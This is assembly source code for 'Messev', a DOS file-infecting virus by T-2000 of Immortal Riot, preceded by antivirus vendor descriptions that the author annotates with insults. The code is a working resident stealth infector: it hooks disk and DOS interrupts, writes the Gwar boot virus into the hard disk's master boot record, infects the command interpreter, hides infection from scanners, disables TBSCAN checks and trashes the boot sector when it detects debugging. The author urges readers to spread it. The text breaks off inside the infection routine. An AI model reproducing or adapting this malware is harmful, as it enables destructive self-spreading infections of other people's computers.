; ***************************************************************************
; - NOTE -
;
; These are the final versions of my old Messev and Gwar which were supposed
; to be published in 29A#3, instead, older versions were used. Unlike what
; some of you may think, the versions included in this file are completely
; different from the ones in 29A#3, much code was rewritten and alot of
; features were added. Messev + Gwar were my first virii written for public
; release, that explains the weak coding, nevertheless, they ain't exactly
; trivial, and thus, interesting....
;                                                - T-2000 / [Immortal Riot] -
; ***************************************************************************


; Here are a few fucked-up AV-descriptions of slightly modified versions,
; I added some of my own comments where needed:
;
; ---------------------------------------------------------------------------
;
;  DATAFELLOWS:
;
;
;  The Messev.3158 is an encrypted resident stealth virus that infects
;  COM and DOS EXE files. Besides it acts as a dropper to Gwar boot virus.
;  Messev virus is encrypted with a variable key. Number of possible key
;  variants is 255.
;
;  Messev installs itself to memory using the last MCB block and immediately
;  passes control to its body there. First the virus traces Int 13h and Int
;  21h. Then the virus tries to infect harddisk with Gwar boot virus. It
;  uses direct calls to Int 13h and Int 21h handlers during this procedure.
;
;  To safely infect MBR the virus tries to delete Windows 95 floppy device
;  driver HSFLOP.PDR located in \System\IOSubSys folder, but there's an
;  error in the virus and this never happens [* Yeah, the filename had a
;  typo :( *]. The virus checks for presence of Gwar in memory and if it is
;  not present the hard disk in infected - the original MBR is copied to
;  0/0/2 (h/t/s) and the Gwar is copied to 0/0/1 (h/t/s). Because of this
;  trick logical hard disks become inaccessible when booting from a system
;  diskette.
;
;  After dropping the Gwar the virus traps Int 13h and Int 21h. Then it gets
;  attributes of C:\COMMAND.COM [* Dumbass, it infects the file pointed by
;  the COMSPEC-variable by getting it's attributes. *], and passes control
;  to original infected file code.
;
;  COM and DOS EXE files are infected by Messev on access. The original 12
;  bytes [* _WORDS_ moron! not bytes! *] from the file start are copied to
;  the end of the virus body and then the virus attaches itself to a file.
;  Timestamp of infected file is not modified except for seconds value - it
;  is set to 60. Some programs that are bigger than 400k and some packed
;  programs could become unusable after infection [* Yikes, this was a pretty
;  serious bug, at the time being I thought a program's MinMem requirements
;  was it's image-size in paragraphs! *]. When infected files are copied to
;  floppy disk they appear to be clean.
;
;  The virus has the following text strings:
;
;    'This is a pretty lame virus, I only released it'
;    'coz I wanted to infect some ppl.'
;    'Messev - Screwed version.'
;
;    'If I don't pass... f*ck it! SKLSUX!'
;
;    [* Y*u c*n k*ss my *ss y*u f*cking l*me c*cks*cking c*ns*r-d*ck! *]
;
;    'My gun will be your angel of mercy!'
;    '[ DEMANUFACTURE - FEAR FACTORY ]'
;
;  The virus uses anti-debugging tricks. It halts keyboard and if it fails
;  performs a trick with stack values and writes garbage to DOS Boot record.
;  This could [* _DOES_ :P *] happen if the program is debugged inaccurately.
;
;  The stealth procedure of the virus hides all signs of virus presence in
;  infected objects. When archivers (ARJ.EXE, PKZIP.EXE, LHA.EXE and RAR.EXE),
;  CHKDSK or TBSCAN are executed the virus disables its stealth routines
;  [* TBSCAN? How stupid can you morons get?! it adds certain parameters to
;  the command-line of TBSCAN to skip the memory-scan and use the DOS file-
;  system (so the stealth can do it's job). *]
;
;
;  [Analysis: Alexey Podrezov, Szor Peter, Data Fellows]  [* Oink oink. *]
;
; ---------------------------------------------------------------------------
;
;  AVP:
;
;
;  Messev.3158
;
;  It is a very dangerous memory resident virus. It infects DOS COM and EXE
;  files as well as drops its boot instance that then infects boot sectors
;  only and is not able to infect DOS executable files. The virus is encryp-
;  ted in both files and sectors, it is also stealth in both its instances.
;
;  When an infected file is executed the virus decryption routine takes
;  control, restores the virus in its original form and passes control to
;  the virus installation routine. The virus then traces and hooks INT 13h,
;  21h, infects the MBR of the hard drive and command processor pointed by
;  the COMSPEC= instruction.
;
;  While infecting files the virus writes itself to the end of the file.
;  It affects the files that are executed, created, opened, accessed by
;  Get/Set file attribute function and ever deleted. The virus disinfects
;  infected files under debugger and on writing to such files (stealth).
;  The virus also runs stealth routines on accessing file length and
;  time & date stamp, [* Not to mention seeks & reads. *]. on executing the
;  PKZIP, ARJ, LHA, RAR and CHKDSK utilities the virus disables these
;  routines.
;
;  When TBSCAN anti-virus is executed, the virus appends to the end of com-
;  mand line options that disable TBSCAN memory and heuristic scanning [*
;  Pfff! *]. Under debugger the virus erases the hard drive sectors and
;  reboots the computer. While infecting the MBR of the hard drive the virus
;  erases the file:
;
;   C:\WINDOWS\SYSTEM\IOSUBSYS\HDFLOP.PDR
;
;  The boot virus instance infects the MBR of the hard drive and boot sector
;  of floppy disks as ordinary boot virus. On May 2nd it erases the harddrive
;  sectors, displays and outputs to printer the message:
;
;
;   Gwar virus v1.3, (c) 1998 by T-2000 / Invaders SKLSUX!Winsuck95
;
;                [* 'SKLSUX!Winsuck95' is never displayed. *]
;
; The virus also contains the text strings:
;
;
;  =[ Messev v2.10, (c) 1998 by T-2000 / Invaders ]=
;  MeSSeV LiVeS!
;  Daddy-K-tit 2 Gallyon van Vessem
;  This is a pretty lame virus, I only released it coz
;  I wanted to infect some ppl.Messev - Screwed version
;  If I don't pass... fuck it!SKLSUX!
;  My gun will be your angel of mercy!
;  [ DEMANUFACTURE - FEAR FACTORY ]
;
; ---------------------------------------------------------------------------

; On with the source...

;============================================================================
;
;     NAME: Messev v2.01
;     TYPE: Parasitic resident full-stealth .COM & .EXE-infector.
;  TARGETS: .COM & .EXE-files, MBR of 1st harddisk.
;  PURPOSE: Designed to drop the Gwar v1.30 bootsector-virus.
;     SIZE: Over 3000 bytes.
;   AUTHOR: T-2000 / Invaders.
;     DATE: March 1998 - May 1998.
;    PHASE: Release version.
;   RATING: 74%
;  PAYLOAD: Nope, (but Gwar has, disk-trashing on 2nd of May).
;
;
;  Capabilities:
;
;       - Tunneling on INT 13h and INT 21h.
;       - Variable encrypting.
;       - Full stealth, (SFT-stealth however...).
;       - Drops bootsector-virus (Gwar v1.30).
;       - Stealths bootsectors/MBRs infected with Gwar.
;       - Completely invisible for TBSCAN (adds parameters, uses INTs).
;       - Anti-tracer: detects tracers (trashes bootsector).
;       - Anti-debugging tricks.
;       - Disables stealth on execution archivers (works with PKZIP).
;       - Infects COMSPEC-variable.
;
;
;  TO-DO-LIST:
;
;       - Stealth filereads without SFT's.
;       - Diskspace stealth.
;       - Sizestealth under Win95 (71h, 4Eh/4Fh).
;
;  BUGS:
;       - DEBUG crashes on exit after accessing port 21h (IRQ-status).
;
; Dedicated to dis very pretty woman who was on Dutch television,
; named 'Gallyon van Vessem'.
;
; Stealth-marker is 60 seconds.
; Passes sanity-checks in anti-virus programs.
; It traps a shitload of functions.
; Checks if the environment is compatible.
;
; Gwar.Boot stealth-handler:    - Stealths infected bootsectors/MBRs.
;                               - Lets the zero-track seem empty.
;
;
; When I got ready with Gwar, I've decided build it inside a file-infector,
; (nobody boots from a diskette nowadays). At first I thought of a Tai-Pan-
; hack, later I decided to write my own. It turned out to be the most stealth
; virus I ever programmed.
;
;
; I haven't tested this baby to death, but the code should be pretty sound.
; I spended a hell of a lot time coding this one!
;
; Scanner detection:
;
;   - TbScan 8.02   :   Only the T-flag (invalid timestamp).
;   - F-Prot 2.28   :   Indicates a possible infection with /ANALYZE.
;   - AVP 3.00      :   Nothing.
;
;   - TbClean 8.02  :   Unable to clean.
;
; Some parts may look a bit messy, this is due the optimization & handling
; of both .COM and .EXE-files. It could, however, be optimized a LOT more!
;
; Also sorry if there is some lame english in this source.
;
; My E-Mail: T2000_@HotMail.Com
;
; To whoever who has dis source: U can do with it whatever U want:
;
;       - Modify it, (just give me credit)
;       - Spread it (please do!)
;       - Publish it,
;       - Stick it where da sun doesn't shine.
;
; A big 'fuck' goes to Bill Gates and his sloppy Windoze-product, DOS was
; MUCH better then dis WinShit!     - Bill, the perfect salesman -
;
;============================================================================


		.MODEL  TINY
		.STACK  1024
		.CODE


	; ==>  Please note that the virus-entrypoint is  <==
	; ==>  at the end of this file, look for START:  <==


Virus_Size      EQU     OFFSET Virus_End - OFFSET Virus_Begin
Virus_Mem_Size  EQU     ((Virus_Size * 2) / 16) + (128 / 16)
Marker_Mem      EQU     721Eh
Marker_File     EQU     1666h
Residency_Check EQU     99E1h
Bios            EQU     13h
Dos             EQU     21h


Virus_Begin:

Gwar_Boot:      INCLUDE GWAR.ASM                ; Bootsector-virus.

Entry:
		CLI                             ; Detect if a tracer is used.
		PUSH    AX                      ; - ANTI-TRACER/DEBUGGER -
		POP     AX
		DEC     SP
		DEC     SP
		POP     BX
		STI

		CMP     AX, BX                  ; Word correct?
		JE      Not_Traced              ; Then continue execution.


		; === Our retaliation ===
Trash_Boot:
		MOV     AX, 0301h               ; Trash bootsector.
		MOV     CX, 01h                 ; (don't hurt our child).
		MOV     DX, 0180h
		INT     13h

		INT     19h                     ; Reboot system.

Not_Traced:
		MOV     AX, Residency_Check     ; Call residency-check.
		INT     21h

		CMP     AX, Marker_Mem          ; Are we already TSR?
		JNE     Make_Resident

Exec_Host:
		POP     SI
		POP     ES
		POP     DS
		POP     DI
		POP     DX
		POP     CX
		POP     BX

		IN      AL, 21h                 ; Unlock keyboard.
		AND     AL, NOT 02h
		OUT     21h, AL

		CMP     CS:[SI+Old_Bytes.Mark], 'ZM' ; Host a .EXE-file?
		JE      Exec_EXE
Exec_COM:
		PUSH    CS
		POP     DS

		CLD                             ; Restore bytes in .COM-file.
		ADD     SI, OFFSET Old_Bytes
		MOV     DI, 100h
		MOV     CX, (24 / 2)
		REP     MOVSW

		PUSH    ES
		POP     DS

		MOV     AX, 100h

		PUSH    ES                      ; Save return-address
		PUSH    AX                      ; on stack.

		XOR     AX, AX                  ; Clear used registers.
		XOR     CX, CX
		XOR     SI, SI
		XOR     DI, DI

		RETF                            ; JMP to start .COM-file.

Exec_EXE:
		MOV     AX, ES                  ; PSP-address.
		ADD     AX, 10h                 ; Plus size PSP.

		CLI                             ; Restore old stack.
		ADD     CS:[SI+Old_Bytes.Init_SS], AX
		MOV     SS, CS:[SI+Old_Bytes.Init_SS]
		MOV     SP, CS:[SI+Old_Bytes.Init_SP]
		STI

		ADD     AX, CS:[SI+Old_Bytes.Init_CS]
		PUSH    AX

		MOV     AX, CS:[SI+Old_Bytes.Init_IP]
		PUSH    AX
		XOR     AX, AX                  ; Clear AX.
		RETF                            ; JMP to host.

Make_Resident:
		MOV     AH, 62h                 ; Get PSP, (screws some
		INT     21h                     ; debuggers).

		DEC     BX                      ; Get our MCB.
		MOV     DS, BX

		CMP     BYTE PTR DS:[0], 'Z'    ; We want the last MCB.
		JNE     Exec_Host               ; Don't install when not.

		XCHG    SI, AX                  ; Save SI in AX.

		POP     SI
		XOR     SI, SI                  ; Set displacement to zero
		PUSH    SI                      ; on the stack.

		XCHG    SI, AX                  ; Restore SI from AX.

	; === Subtract our memory requirements from MCB & PSP. ===

		SUB     WORD PTR DS:[03h], Virus_Mem_Size
		SUB     WORD PTR DS:[12h], Virus_Mem_Size
		MOV     ES, DS:[12h]

		PUSH    CS
		POP     DS

		CLD                             ; Copy virus to high-mem.
		XOR     DI, DI
		MOV     CX, Virus_Size
		REP     MOVSB

		MOV     AX, OFFSET Relocated_Code

		PUSH    ES                      ; JMP to relocated virus.
		PUSH    AX
		RETF

Copyright       DB      '=[ Messev v2.01, (c) 1998 by T-2000 / Invaders ]='

;------------------------------------------
; Statusbits:
;
;       0  Infect mode.
;       1  Filesize stealth mode.
;       2  Read-stealth mode (uses SFT's).
;       3  Zero-track stealth mode.
;       4  Bootsector/MBR stealth mode.
;     5-7  Reserved.
;------------------------------------------


Relocated_Code:

		PUSH    CS
		POP     DS

		MOV     AX, 3000h               ; Get DOS-version (OEM).
		INT     21h

		MOV     AL, 00010011b           ; Infect-mode on.
						; Sizestealth-mode on.

		CMP     BH, 0FFh                ; Micro$oft MS-DOS?
		JE      M$_Compatible

		CMP     BH, 0EEh                ; Digital Research DR-DOS?
		JNE     Not_Compatible

M$_Compatible:  OR      AL, 00001100b           ; Read-stealth enabled (SFT).
						; Zerotrack-stealth enabled.
Not_Compatible:
		MOV     Init_Status, AL         ; Save initial status.
		MOV     Status, AL              ; Set Statusbits.

		MOV     Trace_Mode, Bios        ; Find BIOS-entrypoint.
		CALL    Tracer

		MOV     Trace_Mode, Dos         ; Find DOS-entrypoint.
		CALL    Tracer

		; Stealth-handler for Gwar.Boot.

		MOV     AL, 13h                 ; Hook INT 13h.
		MOV     BX, OFFSET Stealth_Int13h
		MOV     CX, CS
		CALL    SetInt

		CALL    Gwar_Dropper            ; Install our lil' present.
		NOP                             ; Leave dis here!

		MOV     AL, 21h                 ; Hook INT 21h.
		MOV     BX, OFFSET NewInt21h
		MOV     CX, CS
		CALL    SetInt

		CALL    Infect_COMSPEC          ; Infect command-interpreter.

		JMP     Exec_Host


;-----------------------------------------------------------------
; See if Gwar is already installed, if not then install. Because
; we use the tunnelled vector, we can read beyond Gwar's stealth.
;-----------------------------------------------------------------
Gwar_Dropper:

	; Delete port-access driver, so Gwar can infect under
	; Winsux95. (Same method as used in Hare virus).

		MOV     AH, 41h                 ; Delete driver.
		MOV     DX, OFFSET Port_Driver
		CALL    OldInt21h

		MOV     AX, Marker_Mem_Gwar     ; Gwar residency-check.
		INT     13h

		CMP     AX, NOT Marker_Mem_Gwar ; Gwar resident?
		JE      Exit_Installer          ; If so, don't install.

		MOV     AH, 0Dh                 ; Reset harddisk.
		MOV     DX, 80h
		CALL    OldInt13h

		POP     BX                      ; POP return address to BX.
		PUSH    BX                      ; PUSH it back.

		MOV     BYTE PTR [BX], 90h      ; Remove breakpoint.
						; - ANTI-DEBUGGER -

		MOV     AX, 0201h               ; Read MBR of 1st harddisk.
		MOV     BX, OFFSET Buffer
		MOV     CX, 01h
		CALL    OldInt13h
		JC      Exit_Installer

		CMP     [BX+Signature], Marker_Boot     ; Already infected?
		JE      Exit_Installer                  ; Then abort drop.

		MOV     AX, 0301h               ; Store original MBR.
		INC     CX
		CALL    OldInt13h
		JC      Exit_Installer

		IN      AL, 40h                 ; Get encryption-key.
		MOV     Key, AL

		CALL    Crypt_Block             ; Encrypt Gwar.

		MOV     AX, 0301h               ; Write Gwar to MBR.
		MOV     BX, OFFSET Gwar_Boot    ; Better use XOR BX, BX.
		MOV     CX, 01h
		CALL    OldInt13h

		CALL    Crypt_Block             ; Decrypt Gwar.

Exit_Installer:

		RETN

;--------------------------------------------------------------------------
; Fetches the path after the COMSPEC-variable, and gets it file-attributes
; by simulating a interrupt via our handler, so Messev will infect it.
;--------------------------------------------------------------------------
Infect_COMSPEC:
		CALL    Push_All

		CLD                             ; Save host's original bytes.
		MOV     SI, OFFSET Old_Bytes    ; (Bcoz they are overwritten
		MOV     DI, OFFSET Temp_Buffer  ; by Messev when it infects
		MOV     CX, (24 / 2)            ; the command-interpreter.
		REP     MOVSW

		MOV     AH, 62h                 ; Get PSP of current process.
		INT     21h

		MOV     ES, BX
		MOV     ES, ES:[2Ch]            ; 
		XOR     DI, DI

Rep_Loop:
		CMP     BYTE PTR ES:[DI], 0     ; End of settings?
		JZ      Exit_Find               ; Then exit routine.

		MOV     AX, ES:[DI]             ; Get first word.
		AND     AX, 1101111111011111b   ; Convert 2 uppercase.

		CMP     AX, 'OC'                ; Starts with 'CO' ?
		JNE     Find_Next_Set           ; Next setting when not.

		MOV     AX, ES:[DI+2]           ; Get second word.
		AND     AX, 1101111111011111b   ; Convert 2 uppercase.

		CMP     AX, 'SM'                ; We found COMSPEC= ?
		JE      COMSPEC_Found           ; Then infect it.

Find_Next_Set:
		CLD                             ; Find next setting.
		XOR     AL, AL
		MOV     CX, 0FFFFh
		REPNZ   SCASB

		OR      CX, CX                  ; Not found?
		JZ      Exit_Find               ; Then exit routine.

		JMP     Rep_Loop


COMSPEC_Found:
		PUSH    ES
		POP     DS

		MOV     AX, 4300h               ; Get file-attributes via
		MOV     DX, DI                  ; our hooked INT so it
		ADD     DX, 8                   ; will be infected.

		PUSHF                           ; Simulate interrupt,
		PUSH    CS
		CALL    NewInt21h

Exit_Find:
		PUSH    CS
		POP     DS

		PUSH    CS
		POP     ES

		CLD
		MOV     SI, OFFSET Temp_Buffer
		MOV     DI, OFFSET Old_Bytes
		MOV     CX, (24 / 2)
		REP     MOVSW

		CALL    Pop_All

		RETN


		; <===  S T E A L T H   R O U T I N E S  ===>

Stealth_Int13h:
		CMP     AH, 02h                 ; Read?
		JNE     JMP_Int13h_2

		OR      DH, DH                  ; Zero-head?
		JNZ     JMP_Int13h_2

		OR      CH, CH                  ; Zero-track?
		JNZ     JMP_Int13h_2

		CMP     CX, 01h                 ; Bootsector?
		JNE     Zero_Stealth

		CALL    OldInt13h               ; Execute function.

		CALL    Push_All
		JC      Exit_Stealth_i13h       ; Exit if error occurred.

		TEST    CS:Status, 00010000b    ; Do bootsector/MBR stealth?
		JZ      Exit_Stealth_i13h       ; Exit when not.

		CMP     ES:[BX+Signature], Marker_Boot
		JNE     Exit_Stealth_i13h

		MOV     AX, 0201h               ; Read original bootsector.
		MOV     CX, ES:[BX+Stored_TS]
		MOV     DX, ES:[BX+Stored_HD]
		CALL    OldInt13h

Exit_Stealth_i13h:

		CALL    Pop_All

		RETF    2                       ; Return to caller.

JMP_Int13h_2:   JMP     DWORD PTR CS:Int13h

Zero_Stealth:
		MOV     CS:Temp, AL             ; Save # of sectors to read.

		CALL    OldInt13h               ; Execute function.

		CALL    Push_All
		JC      Exit_Stealth_i13h       ; No stealth if error.

		CMP     DL, 80h                 ; Only on 1st harddisk.
		JNE     Exit_Stealth_i13h

		TEST    CS:Status, 00001000b    ; Do zero-track stealth?
		JZ      Exit_Stealth_i13h       ; Exit when not.

		MOV     DL, CS:Temp             ; DL = Sector read.
		MOV     DI, BX                  ; DI = Sector-buffer.

Clear_Sector_Buffer:

		OR      DL, DL                  ; No more sectors read?
		JZ      Exit_Stealth_i13h       ; Then abort stealthing.

		CLD                             ; Fill buffer with zeroes.
		XOR     AX, AX
		MOV     CX, (512 / 2)
		REP     STOSW

		DEC     DX                      ; Decrease #sectors 2 stelth.
		JMP     Clear_Sector_Buffer


Stealth_Filesize_FCB:

		CALL    OldInt21h               ; Execute function.

		CALL    Push_All

		OR      AL, AL                  ; Error?
		JNZ     Error_FCB               ; If yes, then exit.

		TEST    CS:Status, 00000010b    ; Can we perform sizestealth?
		JZ      Error_FCB

		MOV     AH, 2Fh                 ; Get DTA-address.
		CALL    OldInt21h

		CMP     BYTE PTR ES:[BX], 0FFh  ; Extended FCB?
		JNE     Normal_FCB
		ADD     BX, 7                   ; Skip extended stuff.
Normal_FCB:     MOV     AL, ES:[BX+17h]
		AND     AL, 00011111b           ; Infected stamp?
		CMP     AL, 00011110b
		JNE     Error_FCB

		AND     BYTE PTR ES:[BX+17h], 11100000b

		; Subtract our size from the filesize in DTA.

		SUB     WORD PTR ES:[BX+1Dh], Virus_Size
		SBB     WORD PTR ES:[BX+1Fh], 0
Error_FCB:
		CALL    Pop_All

		RETF    2


; Subtract the virussize from infected files' length & clear seconds.
Stealth_Filesize:

		CALL    OldInt21h                  ; Execute function.

		CALL    Push_All
		JC      No_Filesize_Stealth     ; Abort when error.

		TEST    CS:Status, 00000010b
		JZ      No_Filesize_Stealth     ; No, then abort.

		MOV     AH, 2Fh                 ; Get DTA-address.
		CALL    OldInt21h

		MOV     AL, ES:[BX+16h]         ; Get seconds-field.
		AND     AL, 00011111b           ; Mask seconds.

		CMP     AL, 00011110b           ; Equal to 60 seconds?
		JNE     No_Filesize_Stealth     ; No stealth when not.

		AND     BYTE PTR ES:[BX+16h], 11100000b  ; Clear seconds.

		SUB     WORD PTR ES:[BX+1Ah], Virus_Size
		SBB     WORD PTR ES:[BX+1Ch], 0

No_Filesize_Stealth:

		CALL    Pop_All

		RETF    2                       ; Return 2 caller.

;-----------------------------------------------
; Gets the SFT-Address of the handle in BX, and
; subtracts the virussize from the filelength.
;-----------------------------------------------
Sub_SFT_Size:
		CALL    Get_DCB
		SUB     WORD PTR ES:[DI+11h], Virus_Size
		SBB     WORD PTR ES:[DI+13h], 0

		RETN

;-----------------------------------------------
; Gets the SFT-Address of the handle in BX, and
; adds the virussize to the filelength.
;-----------------------------------------------
Add_SFT_Size:
		CALL    Get_DCB
		ADD     WORD PTR ES:[DI+11h], Virus_Size
		ADC     WORD PTR ES:[DI+13h], 0

		RETN


; Prevents readings after virtual file & redirect readings from header.
Stealth_File_Read:

		CALL    Push_All

		MOV     CS:Read_Buffer, DS

		TEST    CS:Status, 00000100b    ; Can we use SFT-stealth?
		JZ      JMP_No_Stealth

		MOV     CS:Read_Bytes, CX       ; Save # of bytes to read.
		MOV     CS:Read_Buffer+2, DX

		CALL    Check_Handle            ; Dis is a filehandle?
		JNZ     JMP_No_Stealth          ; Abort when it isn't.

		CALL    Check_Stamp             ; Infected timestamp?
		JZ      Stealth_Read

JMP_No_Stealth: JMP     No_Stealth_Read

Stealth_Read:
		CALL    Sub_SFT_Size            ; Subtract our size from
						; the SFTs, also gets the
						; SFT-address in ES:DI.

		MOV     AX, ES:[DI+17h]         ; Pos. before read hi.
		MOV     CS:File_Pos, AX
		MOV     AX, ES:[DI+15h]         ; Pos. before read lo.
		MOV     CS:File_Pos+2, AX
		CALL    Pop_All

		CALL    OldInt21h               ; Execute function.

		CALL    Push_All
		JC      Abort_Stealth           ; Abort when error.

		CALL    Add_SFT_Size

		PUSH    CS
		POP     DS

		CMP     File_Pos, 0             ; Reading 1st 64k?
		JNZ     Abort_Stealth           ; Abort when not.

		CMP     File_Pos+2, 24          ; Reading header?
		JA      Abort_Stealth           ; Abort when not.

		CALL    Save_File_Pos

		CALL    Go_End_File

		SUB     AX, 24                  ; Location original bytes.
		SBB     DX, 0

		ADD     AX, File_Pos+2          ; Plus pos in header.
		ADC     DX, 0

		MOV     ES:[DI+17h], DX         ; Pos. old header.
		MOV     ES:[DI+15h], AX         ; Pos. old header.

		MOV     AH, 3Fh                 ; Read original header
		MOV     CX, 24                  ; into caller's buffer.
		SUB     CX, File_Pos+2
		MOV     DX, Read_Buffer+2
		MOV     DS, Read_Buffer
		CALL    OldInt21h

		CALL    Restore_File_Pos
Abort_Stealth:
		CALL    Pop_All

		RETF    2                       ; Return to caller.

No_Stealth_Read:
		CALL    Pop_All

		JMP     JMP_Int21h


; Prevents lseeks beyond virtual file.
Stealth_Fileseek:

		CALL    Push_All

		TEST    CS:Status, 00000100b    ; Readstealth?
		JZ      No_Stealth_lseek

		CALL    Check_Stamp             ; Infected stamp?
		JNZ     No_Stealth_Lseek

		CALL    Sub_SFT_Size            ; Subtract virussize.

		CALL    Pop_All

		CALL    OldInt21h               ; Execute function.

		CALL    Push_All

		CALL    Add_SFT_Size            ; Restore filesize in SFT.

		CALL    Pop_All

		RETF    2                       ; And return.

No_Stealth_lseek:

		CALL    Pop_All

		JMP     JMP_Int21h


; DS:DX = Filename.
Clean_By_File:
		CALL    Push_All

		MOV     AX, 3D02h               ; Open file r/w.
		CALL    OldInt21h
		JC      Abort_Clean

		XCHG    BX, AX

		CALL    Clean_Handle            ; Clean it.

		MOV     AH, 3Eh                 ; Close file.
		CALL    OldInt21h
Abort_Clean:
		CALL    Pop_All

		JMP     JMP_Int21h

; Removes the virus physically from disk, before a program writes to it.
Clean_By_Handle:

		CALL    Clean_Handle

		JMP     JMP_Int21h

; Cleans the handle, (must have read/write access).
Clean_Handle:
		CALL    Push_All
		CALL    Hook_i24h

		PUSH    CS
		POP     DS

		CALL    Check_Handle            ; Filehandle?
		JNZ     No_Del

		MOV     AX, 5700h               ; Get filedate.
		CALL    OldInt21h

		MOV     FileTime, CX            ; Save it.
		MOV     FileDate, DX

		AND     CL, 00011111b           ; Mask seconds.

		CMP     CL, 00011110b           ; 60 seconds ?
		JNE     No_Del

		CALL    Save_File_Pos
		CALL    Go_End_File

		SUB     AX, 24
		SBB     DX, 0

		MOV     CX, DX
		XCHG    DX, AX
		MOV     AX, 4200h               ; Pos. old header.
		CALL    OldInt21h

		MOV     AH, 3Fh                 ; Read old header.
		MOV     CX, 24
		MOV     DX, OFFSET Header
		CALL    OldInt21h

		CALL    Go_End_File

		SUB     AX, Virus_Size          ; Subtract our length.
		SBB     DX, 0

		MOV     CX, DX
		XCHG    DX, AX
		MOV     AX, 4200h               ; Go to end virtual file.
		CALL    OldInt21h

		MOV     AH, 40h                 ; Write <EOF> marker.
		XOR     CX, CX
		CALL    OldInt21h

		CALL    Go_Begin_File

		MOV     AH, 40h                 ; Write old header.
		MOV     CX, 24
		MOV     DX, OFFSET Header
		CALL    OldInt21h

		MOV     AX, 5701h               ; Set clean filedate.
		MOV     CX, FileTime
		MOV     DX, FileDate
		AND     CL, 11100000b           ; Clear seconds.
		CALL    OldInt21h

		CALL    Restore_File_Pos

No_Del:         CALL    Unhook_i24h
		CALL    Pop_All

		RETN

;---------------------------------------------
; Check if timestamp is marked as 'infected'.
; BX = Filehandle.
; ZF set when infected.
;---------------------------------------------
Check_Stamp:

		PUSH    AX
		PUSH    CX
		PUSH    DX

		MOV     AX, 5700h               ; Get time & datestamp.
		CALL    OldInt21h

		AND     CL, 00011111b           ; Infected?
		CMP     CL, 00011110b           ; (Set's flags).

		POP     DX
		POP     CX
		POP     AX

		RETN


; Hides infected timestamp.
Stealth_Time:
		CALL    OldInt21h

		PUSHF
		PUSH    CX

		MOV     CS:Temp, CL

		JC      No_Stealth_Time

		TEST    CS:Status, 00000010b    ; Sizestealth allowed?
		JZ      No_Stealth_Time

		CALL    Check_Stamp
		JNZ     No_Stealth_Time

		AND     CS:Temp, 11100000b      ; Zero seconds.

No_Stealth_Time:

		POP     CX
		POPF

		MOV     CL, CS:Temp

		RETF    2

Save_File_Pos:

		MOV     AX, 4201h               ; Get file-position.
		XOR     CX, CX
		CWD
		CALL    OldInt21h

		MOV     CS:Old_Pos, DX
		MOV     CS:Old_Pos+2, AX

		RETN


Restore_File_Pos:

		MOV     AX, 4200h
		MOV     CX, CS:Old_Pos
		MOV     DX, CS:Old_Pos+2
		CALL    OldInt21h

		RETN

Go_Begin_File:
		MOV     AX, 4200h
		XOR     CX, CX
		CWD
		CALL    OldInt21h

		RETN


;-------------------------
; Goes to end of file.
;
;  In:    BX = filehandle
; Out: DX:AX = filesize
;-------------------------
Go_End_File:
		PUSH    CX

		MOV     AX, 4202h
		XOR     CX, CX
		CWD
		CALL    OldInt21h

		POP     CX

		RETN

; These INT 21h functions will be trapped by our virus. If the subfunction
; is 0FFh, it will be treaded like a wildcard.
Functions:
		DW      11FFh                   ; Findfirst (FCB).
		DW      Stealth_Filesize_FCB
		DW      12FFh                   ; Findnext (FCB).
		DW      Stealth_Filesize_FCB
		DW      4EFFh                   ; Findfirst (handle).
		DW      Stealth_Filesize
		DW      4FFFh                   ; Findnext (handle).
		DW      Stealth_Filesize
		DW      4B00h                   ; Execute file.
		DW      Init_Exec
		DW      4B01h                   ; Load but not execute.
		DW      Clean_By_File
		DW      4CFFh                   ; Program terminate.
		DW      Switch_Stealth_On
		DW      5700h                   ; Get filetime.
		DW      Stealth_Time
		DW      3DFFh                   ; Open file.
		DW      Check_Infect
		DW      6CFFh                   ; Extended open/create.
		DW      Check_Infect
		DW      43FFh                   ; Get file-attributes.
		DW      Check_Infect
		DW      3CFFh                   ; Create/truncate file.
		DW      Check_Infect
		DW      3FFFh                   ; Read file (handle).
		DW      Stealth_File_Read
		DW      40FFh                   ; Write to file (handle).
		DW      Clean_By_Handle
		DW      42FFh                   ; lseek file.
		DW      Stealth_Fileseek
		DW      41FFh                   ; Delete file.
		DW      Check_Infect
		DW      Residency_Check         ; Are-You-There call.
		DW      Return_Call

		DW      0                       ; End table.
NewInt21h:

		PUSH    SI
		PUSH    BX

		MOV     SI, OFFSET Functions

Next_Function:
		MOV     BX, CS:[SI]

		OR      BH, BH                  ; End of table reached?
		JZ      End_Table_Reached       ; Then abort.

		CMP     BH, AH                  ; Function match?
		JNE     Another

		CMP     BL, 0FFh                ; Don't compare subfunction?
		JE      Exec_Function           ; Then JMP to routine.

		CMP     BL, AL                  ; Subfunction right?
		JE      Exec_Function           ; Then JMP to routine.

Another:
		ADD     SI, 4                   ; Next entry.
		JMP     Next_Function           ; Repeat loop.

End_Table_Reached:

		POP     BX
		POP     SI

JMP_Int21h:     JMP     DWORD PTR CS:Int21h

Exec_Function:
		MOV     BX, CS:[SI+2]
		MOV     CS:Ret_Add, BX

		POP     BX
		POP     SI

		JMP     CS:Ret_Add              ; JMP to routine.


; === Let the virus know that we are already installed in memory. ===
Return_Call:

		MOV     AX, Marker_Mem

		IRET


Switch_Stealth_On:

		PUSH    AX

		MOV     AL, CS:Init_Status
		MOV     CS:Status, AL

		POP     AX

		JMP     JMP_Int21h


Init_Exec:
		CALL    Push_All

		; Should we be inactive during run of program?
		; Else causes problems:
		; eg. ARJ.EXE timestamp incorrect,
		; PKZIP.EXE wrong filesizes, etc.

		MOV     SI, DX
		MOV     DI, OFFSET No_Active
		MOV     CX, (OFFSET End_No_Active - OFFSET No_Active) / 7
		CALL    Search_Table
		JNZ     No_Disable

		AND     CS:Status, 00000000b

No_Disable:
		MOV     DI, OFFSET TBSCAN       ; Add parameters to TBSCAN?
		MOV     CX, 1
		CALL    Search_Table
		JNZ     Not_TbScan

		MOV     DI, ES:[BX+2]
		MOV     ES, ES:[BX+4]

		MOV     AL, ES:[DI]
		CBW

		ADD     BYTE PTR ES:[DI], 6     ; Length parameters.
		INC     DI
		ADD     DI, AX

		PUSH    CS
		POP     DS

		CLD
		MOV     SI, OFFSET Parameters

		MOVSW
		MOVSW
		MOVSW
		MOVSB

Not_TbScan:
		CALL    Pop_All


			; === INFECTION ROUTINE ===
Check_Infect:
		CALL    Push_All
		CALL    Hook_i24h               ; Dummy error-handler.

		CMP     AH, 6Ch                 ; Extended open/create?
		JNE     No_Ext_Open             ; (used by F-Prot).
		MOV     DX, SI                  ; DX = SI.
No_Ext_Open:
